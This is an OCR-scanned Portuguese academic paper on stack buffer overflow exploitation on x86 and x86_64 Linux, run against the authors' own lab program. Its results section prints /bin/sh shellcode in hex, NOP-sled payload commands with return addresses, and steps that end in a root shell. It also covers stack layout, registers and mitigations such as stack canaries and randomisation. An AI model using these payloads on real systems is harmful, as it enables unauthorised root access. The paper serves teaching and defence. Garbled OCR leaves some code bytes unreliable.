e e ™ e S -

AN @) v connerily

X
‘ et v A ™

w
outu ia, tecnologia e

/

Uma metodologia para estudo de vulnerabilidades de BUFFER OVERFLOW
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Resumo: Este trabalho é um estudo sobre buffer overflow, na qual sdo apresentadas as arquiteturas de
softwares que apresentam o problema. O ambiente utilizado para exploracdo, arquiteturas, softwares,
bem como a prépria exploracdo sdo detalhados durante esse trabalho. O problema de buffer overflow é
basicamente estouro de memoria, onde os dados transbordados sobrescrevem &reas adjacentes de
memoria. Comenta-se ainda alguns métodos adotados pelos prdprios sistemas operacionais como
medida de seguranca para este tipo de falha, bem como os cuidados devem ser tomados durante a
programagdo de um sistema. Nos experimentos, foi possivel invadir sistemas de arquiteturas x86 e
x86_64, local e remoto.
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1. INTRODUCAO

Buffer é uma area temporaria da meméria onde ficam guardados dados para serem manipulados.
Overflow é um transbordamento, e ocorre quando o volume de um determinado objeto é maior do que
0 seu tamanho. Buffer overflow consiste em armazenar em um buffer de tamanho fixo, dados maiores
que o seu tamanho, causando seu estouro, caracterizando esta falha como um erro de programagéo.

O objetivo de estourar a pilha, é poder sobrescrevé-la, alterando o valor das variaveis locais,
valores de pardmetros ou endereco de retorno. Altera-se o endereco de retorno da funcdo para que ele
aponte para area em que se deseja executar o codigo malicioso dentro do buffer estourado.

Algumas linguagens de programagao tornam um sistema exposto a esta vulnerabilidade. C, por
exemplo, é uma linguagem que néo verifica automaticamente se o espaco reservado para uma variavel
esta dentro de seus limites, deixando esta funcdo ao programador, que deve sempre estar atento.

Os codigos maliciosos, também conhecidos como exploits, sdo programas que se aproveitam de
vulnerabilidades, visando causar comportamento errbneo, inesperado ou até ganhar privilégios de
superusuario em sistemas.

Este trabalho apresenta o principio para explorar vulnerabilidade de buffer overflow. Além de
explorar esta vulnerabilidade, este trabalho visa alertar aos desenvolvedores sobre os danos causados
por um simples erro de programacdo. O trabalho estd organizado em se¢des: mostrando como um
processo se organiza na pilha (se¢éo 2), os registradores importantes para manuseio da mesma (se¢éo
2.1), o principio de um ataque local e remoto (se¢éo 3), conceitos e utilizacdo de shellcode (secédo 4), e
as medidas de seguranca adotadas para se precaver deste tipo de ataque (se¢éo 5).

2. REFERENCIAL TEORICO

Varios projetos tem abordado o problema de buffer overflow. Etoh, Hiroaki. (2000), apresenta
ideia para melhorar na deteccéo de estouro de buffer.

Cowan, C., Wagle, P. et al .(2003) apresenta formas de prevencdo, chamado Canary (Canério),
quando uma chamada de funcdo é feita, um "canario" é adicionado ao endereco do remetente, se
ocorrer o buffer overflow, o canario sera corrompido. Stack Guard usa essa técnica, implementando-o
como um patch para o compilador GCC, o que provoca atrasos minimos de desempenho.
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2.1. ORGANIZACAO DA PILHA

Uma pilha (stack) adota um padrdo chamado LIFO (Last In First Out), o Gltimo que entra, é 0
primeiro a sair. Ela € um local reservado na memoéria RAM, onde o programa armazena variaveis
locais de uma funcdo, e controla a execucdo de um programa. A medida que uma sub-rotina é
chamada, os dados sdo empilhados, sendo desempilhados quando a mesma termina. Um espaco
especifico da pilha é chamado de stack frame.

ve x . n Chamadas de fungdes
Variaveis Locais
(EBP)
(EIP) — Configurado pelo processador

Enderecos Decrescentes —

Configurado pelo chamador

Figura 1- Estrutura da pilha

Cada frame, no momento da chamada de uma funcéo, possui dados como variaveis locais,
pardmetros da funcdo, endereco de retorno para o frame anterior e o valor do ponteiro de instrucdo
(EIP, ou Extended Instruction Pointer). Um frame é colocado na pilha na chamada de uma funcéo, e
retirado no seu retorno.

As pilhas possuem basicamente duas operacdes: PUSH que insere os dados, e POP que retira 0s
dados da memoria. Para controlar as operacGes de insercdo e remocdo da pilha, € usado o registrador
stack pointer (SP), que aponta para 0 seu topo. Ao executar o comando PUSH, um valor é inserido na
pilha e o registrador é decrementado. Na chamada do comando POP, o valor do qual o stack pointer
aponta é retirado da pilha, e seu valor é incrementado (ALEFHONE, 1996).

Para acessar variaveis locais e parametros da funcéo, é usado um segundo registrador chamado
frame pointer (FP), que aponta para um endereco fixo na pilha.

2.2. REGISTRADORES
Registradores sdo locais no processador para armazenar dados temporariamente. Os
registradores de uso geral da arquitetura x86 séo:

Os registradores da arquitetura x86: Os registradores arquitetura x86-64 séo:
EAX-registrador acumulador RAX - registrador valor de retorno

EBX - registrador base RBX - registrador base

ECX - registrador contador RCX - registrador contador

EDX - registrador de dados RDX - registrador de dados

ESI - registrador de indice da fonte dos dados RSI - registrador de indice da fonte dos dados
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EDI - registrador de indice do destino dos dados  |RD!I - registrador de indice do destino dos dados

EBP - registrador ponteiro para a moldura de|RBP - registrador ponteiro para a moldura de
chamada de funcéo chamada de fungao

) ] ] _|RSP - registrador ponteiro para a pilha de
ESP - registrador ponteiro para a pilha de execu¢ao|execucio

(registrador de uso especifico).

R9 - registrador de dados

R10 - registrador ponteiro para a moldura de
chamada de funcéo

R11 - registrador de linking
R12, R13, R14, R15 - registradores de base.

RIP - registrador de ponteiro de instrucdo
(registrador de uso especifico).

Dentro das arquiteturas, x86 ou x86_64, os registradores que merecem atencdo para explorar a
vulnerabilidade de buffer overflow sdo: ESP, EBP e EIP, RSP, RBP e RIP, respectivamente. O ESP
aponta para o topo da pilha, e seu valor pode ser modificado. O EBP contém o endereco do fundo da
pilha. A cada chamada de funcédo, o registro de EBP € o primeiro a ser sobrescrito na pilha e, em
seguida, o novo valor do ESP é movido para EBP. Uma vez que ESP aponta para o topo da pilha, ele é
alterado com frequéncia durante a execucdo de um programa. O registrador de ponteiro de instrucdo
(EIP - RIP) possui 0 endereco para que, apos a execucdo a uma chamada de fungéo, o programa possa
retornar para a fungio chamadora. Esse registrador é o foco para a exploragdo. E ele que guarda o
endereco de retorno das funcbes, e uma vez alcancado esse endereco, pode-se entdo mudar o retorno
dessa execugdo, tomando assim controle do programa.

Para seguir a exploracdo de buffer overflow é necessario ter o programa vulneravel. A partir
disso estoura a pilha, de forma que os dados estoure e transbordem, sobrescrevendo areas adjacentes
de meméria. Com um depurador, chamado gdb, faz-se a analise da pilha para entdo poder inserir o
shellcode, explicado na secdo 4. Feito isso, controla-se os registradores EIP/RIP, tomando controle do
sistema.

2.3. BUFFER OVERFLOW LOCAL E REMOTO

Existem basicamente trés tipos de exploracdo de buffer overflow: pilha, libc e heap. A
exploracdo utilizada para este trabalho é baseado em pilha. Devido sua simplicidade e sua grande
utilizagdo em exploracoes.

Quando uma falha de seguranca é explorada, pode causar sérios danos, dependendo de quem ou
de como se pretende utilizar as informacdes adquiridas durante o processo de exploracgéo.

O fato € que, erros aparentemente simples, podem resultar em consequéncias graves. Um
exemplo disto é o buffer overflow.

Sistemas vulneraveis sejam locais ou remotos, quando explorados, causam 0 mesmo impacto. A
diferenca é que no ataque local, o invasor deve ter acesso @ maquina para que o ataque seja efetuado.

O ataque remoto de buffer overflow acontece quando o invasor explora a vulnerabilidade em
uma maquina onde seu acesso é dado por uma infraestrutura de comunicacao (rede de computadores).
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O cddigo a seguir é um exemplo de programa vulneravel. E utilizado o mesmo cédigo para
exploracdo nas arquiteturas x86 e x86_64 em distribuicBes Linux, como principio da exploracdo de
buffer overflow. O programa estd vulneravel porque ao utilizar a fungdo da biblioteca da linguagem C:
strcpy, tudo que é passado como pardmetro é copiado para dentro da string declarada 'variavel'.
Funcdes além dessa, como gets (), fgets (), dentre outras, ao serem utilizadas deve-se ter o cuidado
para validar os dados de entrada. Assim evita-se estar vulnerdvel a buffer overflow.

2.4. SHELLCODE

Para manipular diretamente os registradores e funcGes de um programa, € necessario um
shellcode. Que pode ser definido segundo (ANLEY, 2007), como um conjunto de instruces gque sao
injetados e executados por um programa através de um exploit. Normalmente, é escrito em assembly
por manipular diretamente os registradores e depois transformado em opcodes em hexadecimal.

O shellcode é colocado em uma area especifica da memoria, e entdo o programa é levado a
executar o shellcode fornecido.

Como ha diferencas no enderecamento de memoria nas arquiteturas x86 e x86_64, para cada
arquitetura hd um shellcode especifico a ser utilizado. Mas ambos tem a mesma fun¢do de mudar o
endereco de retorno do registrador (EIP, RIP), respectivamente x86 e x86_64, o fazendo apontar para
0 cbédigo malicioso, onde me retornard um Shell com permissdes de um superusuario.

3. RESULTADOS
3.1. EXPLORACAO

A base de exploracdo é a mesma para os ataques local e remoto, arquiteturas 32 e 64 bits. A
maior diferenca é localizar a posi¢do exata de memoria para passar como instrugdo, e assim obter
sucesso na exploracao.

Foram feitos testes para cada tipo de exploracdo. Para explorar buffer overflow local e remoto
em arquitetura 32 bits, foram feitos testes com sistema operacional Ubuntu 11.10, maquinas de uso
pessoal, processador Intel core i5, Intel core 2 duo, kernel 3.0.0-22-generic.

Para explorar a vulnerabilidade da arquitetura x86_64, foram utilizados maquinas de laboratério
da prépria faculdade, o ambiente para teste foi um sistema operacional Fedora 15 com a versdo de
kernel 2.6.38-26.rc1.fc15.x86_64 e processador AMD Phenom (tm) Il X2 550. Sistemas operacionais
de 64 bits sdo capazes de mapear mais areas de memaria que os sistemas de 32 bits, fazendo com que
0s registradores trabalhem com quantidades maiores de bytes.

A sequencia de imagens que seguirdo, descrevem 0s passos para se explorar a vulnerabilidade
de buffer overflow.

3.2. LOCAL
Como foi dito na sessdo 2.3, a exploracdo para este trabalho é baseada em pilha. Serdo
mostrados através de imagens, 0s passos seguidos para explorar buffer overflow.

r

aluno@lab01-002:~/Downloads

-0 vulneravel -fno-stack-protector -mpreferred-stack-boundary=4 -z ex

Figura 2- Compilando o programa.

O programa deve ser compilado conforme mostra a figura 2. Na compilagdo do buffer local x86,
o0 que difere é o parametro passado em —mpreferred-stack-boundary=4, onde o numero 4 indica como
a pilha estara se organizando. E que deverd ser trocada para 2, quando o programa for compilado para
explorar na arquitetura x86. Pois a diferenca entre as duas arquiteturas é a forma de como o0s
registradores trabalham e como os sistema operacional mapea suas areas de memoria.
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luno@lab01-002:~/D: e

Arquivo Editar Ver Pesquisar Terminal Ajuda

Figura 3-Estouro de buffer

O cdbdigo acima € uma primeira tentativa de estourar o buffer de memdria, causando a falha de
segmentacdo. O comando “perl” é usado para diminuir a escrita de codigo, para ndo ter que escrever
410 “A’, ja que se deve passar valores maiores que uma variavel estd predefinida a receber. Para
avaliar o funcionamento da pilha, executa 0 mesmo comando dentro do depurador chamado gdb.

F al

aluno@lab01-002:~/Downloads

r Ver Pesquisar

Figura 4- Estouro de buffer dentro do depurador gdb

Os valores passados como parametros mudam de uma arquitetura para outra, 414 é o valor exato
de “A” para sobrescrever a pilha. Numa arquitetura 32 bits os valores devem ser menores, pois a pilha
foi organizada de quatro em quatro bytes, definidos na figura 2. Sendo que para alcancar esse retorno
mostrado, foram realizados tentativas com varios outros valores, até chegar a esse resultado.

Uma vez que a pilha ja esta sobrescrita, é necessario inserir o shellcode, detalhado na sesséo 2.4.
Para cada arquitetura ha um tipo especifico de shellcode, mostrado nas préximas imagens:

luno@Llab01-002:~/D. o)

Arquivo Editar Ver Pesquisar Terminal Ajuda

Figura 5- Shellcode x86_64

fran@Francilene:~/Area de trabalho/buffer local 32$ printf "\x31\xc0\x31\xdb\xbe\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xcO\x88\x46\x07\x89\x46\x0c\xb
8\ x0b\ 89\ xF3\x8d\ x4e\x88\x8d\x56\x8c\ xcd\x88)x31} xdb\x89\ xd8\ x48\xcd\ x80\ xe8\xdc\xFF\xFF\xFf/bin/sh" > sc
fran@Francilene:~/Area de trabalho/buffer local 32§

Figura 6- Shellcode x86

r al
luno@lab01-002:~/D: Load

Arquivo Editar Ver Pesquisar Terminal Ajuda

Figura 7- Inserindo shellcode na pilha
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O shellcode inserido, faz com nos retorne um Shell com privilégios de superusuario. Pessoas
com conhecimentos em assembly podem construir seu proprio shellcode. Podendo fazer com que ao
ser inserido manipule o sistema, mudando instrugdes, chamadas de fungdes e assim tomar controle do
sistema.

Lembrando ainda que todos os valores mostrados nas figuras sdo exatos, e que foram realizados
vérios testes com valores diferentes.

Na arquitetura x86, foi passado o seguinte comando como parametro dentro do depurador: r
“perl —e 'print "A"x351"' “cat sc perl —e "A"x4.Ainda dentro do depurador devemos localizar os
enderecos de memoria onde estdo inseridos os “A”.

Lluno@lab01-002:~/D: =]

Arquivo Editar Ver Pesquisar Terminal Ajuda

Ex7fffffffe3e0: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7FFEffffe3f0: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7ffFffffed00: Ox41414141 0x41414141 0x41414141 0x41414141
Ex7Fffffffedl0: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffed20: 0x41414141 0x41414141 0x41414141 0x41414141
Ox7Fffffffed30: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffedd40: 0x41414141 0x41414141 0x41414141 0x41414141
Ox7FfEffffed50: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffed60: Ox41414141 0x41414141 0x41414141 0x41414141
Ex7FfEffffed70: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffed80: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7FfEffffed90: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffedal: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7Fffffffedb0: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffedcO: Ox41414141 0x41414141 0x41414141 0x41414141
Ex7Fffffffeddld: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffede0: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7FfEffffedf0: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7ffFffffe500: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7FFFffffe510: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffe520: 0x41414141 0x41414141 0x41414141 0x41414141

41414141

Figura 8- Localizando enderecos de memoria.

Para fazer essa localizagdo na arquitetura x86_64, foi utilizado o comando x/400x $rsp. No caso
da arquitetura x86, deve-se trocar o $rsp por $esp, que é o registrador responsavel pelo retorno de
funcdes.

luno@lab01-002:~/D: =)

Arquivo Editar Ver Pesquisar Terminal Ajuda

Figura 9- Shell retornado.

fran@Francilene:~/Area de trabalho/buffer local 325 ./buffer32 ‘perl -e 'print "\x90"x351' “‘cat sc’' perl -e 'print "\x30\xf4\xff\xbf"'"

YOU entered: eoeoeoeeeee00000000000000000000000000000000000000000000000000000000000I00000000000000000E000000000000000000000000000000000000000000000000
GEOGVGOPHV00000000000V0000900000000000000000000000V0VH000VG0000000000VGV0VEVOVV0VNVHVV0VGVVVVV0000VGVG0V0V0V000GVG000VG00V0VEV0000VEVI0V0V0DG00G000000
CO0000000E000000000000000U0E0000U0000VLI00000000000000000000010]

1[[§@geeeee/bin/shoeee

[ id
uii:e(root) gid=1000(fran) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),116(1padmin),118(admin),124(sambashare),1000(fran)
#

Figura 10 - Shell retornado em arquitetura x86
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Depois de localizado os enderecos, agora € s pegar um endereco especifico aqui escolhido o
Ox7fffffffe470 para x86_64 e Oxbffff430 para x86 e passar como pardmetro. Assim um Shell é
retornado com os privilégios de um superusuario.

3.3. REMOTO

A exploragcdo remota segue a mesma linha de raciocinio de uma exploracdo local. A Unica
diferenca é a comunicacdo entre as maquinas, que se deve através de uma rede de computador e a
utilizagdo da programagéo usando sockets.

As compilagbes dos programas seguem a mesma forma mostrada na figura 2. No entanto o
inicializa o servidor e em uma maquina cliente passa 0s parametros.

aluno@lab01-002:~/Documentos

Arquivo Editar Ver Pesquisar Terminal Abas Ajuda

aluno@lab01-002:~/Documentos % | aluno@lab01-002:~/Documentos

/cli “perl -e 'print "A"x430'"

Figura 11 - Tentativa de estouro de buffer

O comando usado na arquitetura x86 é o mesmo usado na figura 11, mudando somente o valor
passado, que deve ser menor a este. O resultado do comando é mostrado na figura 12, onde a pilha é
sobrescrita.

aluno@lab01-002:~/Documentos

Arquivo Editar Ver Pesquisar Terminal Abas Ajuda

| aluno@lab01-002:~/Documentos % | aluno@lab01-002:~/Documentos

Figura 12 - Estouro de buffer dentro do depurador.

O shellcode é o mesmo utilizado e mostrado nas figuras 5 e 6. Inicializando o servidor, e com 0
comando: ./cli “perl —e 'print "A"x376" ““cat sc-64 "~ perl —e 'print "A"x6" passado pelo cliente, é
possivel sobrescrever o endereco de retorno da pilha. Na arquitetura x86 troca-se 376 por 355, e 0 6
por 4. Localizando os enderegos de memoria como foi feito na figura 8, agora é passar como
parametro.
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aluno@Llab01-002:~/Documentos

Arquivo Editar Ver Pesquisar Terminal Abas Ajuda

aluno@lab01-002:~/Documentos x aluno@lab01-002:~/Documentos

0x41414141 0x41414141 0x41414141
Ex7fffffffe@lo: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffe020: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffed30: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffe040: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffedS0: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffed60: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffed70: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffed80: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffed90: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffefal: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffelbl: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffelcO: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffedd: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffefel: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffedfo: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffelof: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffello: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffel20: 0x41414141 0x41414141 0x41414141 0x41414141
Ex7fffffffel30: 0x41414141 0x41414141 0x41414141 0x41414141
Px7fffffffeldf: 0x41414141 0x41414141 0x41414141 0x41414141

Figura 13 - localizando enderegos de memoria.

aluno@Llab01-002:~/Documentos

Arquivo Editar Ver Pesquisar Terminal Abas Ajuda

aluno@lab01-002:~/Documentos ® aluno@lab01-002:~/Documentos

L -e 'print "
[alur

Figura 14 - Passando endereco de memoria

aluno@lab01-002:~/Documentos

Arquivo Editar Ver Pesquisar Terminal Abas Ajuda

aluno@lab01-002:~/Documentos x aluno@lab01-002:~/Documentos

HHEHIR

Figura 15 - Shell de superusuério.

As figuras 14 e 15 sdo semelhantes a figura 9. Onde o cliente passa o enderego 0x7fffffffe030
para o servidor, obtendo o Shell de root. O enderego usado para a arquitetura x86 foi o Oxbffff241,
como pode ser observado na figura 16.

fran@Francilene: ~/Area de trabalho/buffer overflow remoto 32 bits % fran@Francilene: ~fArea de trabalho/buffer overflow remoto 32 bits ®

fran@Francilene:~/Area de trabalho/buffer overflow remoto 32 bits$ ./cli “perl -e 'print "\x98"x355' "‘cat sc-32"° perl -e 'print "\x41\xf2\xff\xbf"'"
fran@Francilene:~/Area de trabalho/buffer overflow remoto 32 bits$

Figura 16 - Passagem de endereco.

4. MEDIDAS DE SEGURANCA
Diversos métodos surgiram a fim de sanar o problema de buffer overflow. A randomizagdo do
kernel é um exemplo disso, que é uma medida de seguranga adotada para que cada vez que um
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processo seja executado, a pilha de processos se movimente de forma aleatdria, dificultando a
descoberta da posicéo exata do topo da pilha e do endereco de retorno das fungdes.

Dentre as técnicas existentes e usadas em compiladores para prote¢do de codigo escrito em C,
destaca-se o Stack-Smashing Protector (ou SSP, ou ainda Pro Police) (ETOH,2000). Ele é uma
evolugdo do conceito apresentado no Stack Guard (COWAN, 2003). Atualmente, o0 método é padrdo
em diversos sistemas operacionais conhecidos, como Ubuntu e OpenBSD.

5. CONCLUSAO

Este trabalha apresentou uma visdo geral sobre buffer overflow. Foi mostrado o roteiro de como
se explorar essa vulnerabilidade em arquiteturas de 32 e 64 bits, local e remoto. Ainda que uma falha
resultante de um erro de programacdo, os sistemas tentam se precaver, dificultando o acesso do
endereco exato dos registradores necessarios para manipular e tomar controle do sistema.

Além das medidas de seguranca adotadas pelo sistema, o problema de buffer overflow pode ser
evitado com boas praticas de programacao. Aumentando, assim, a dificuldade de exploragéo e controle
do sistema.
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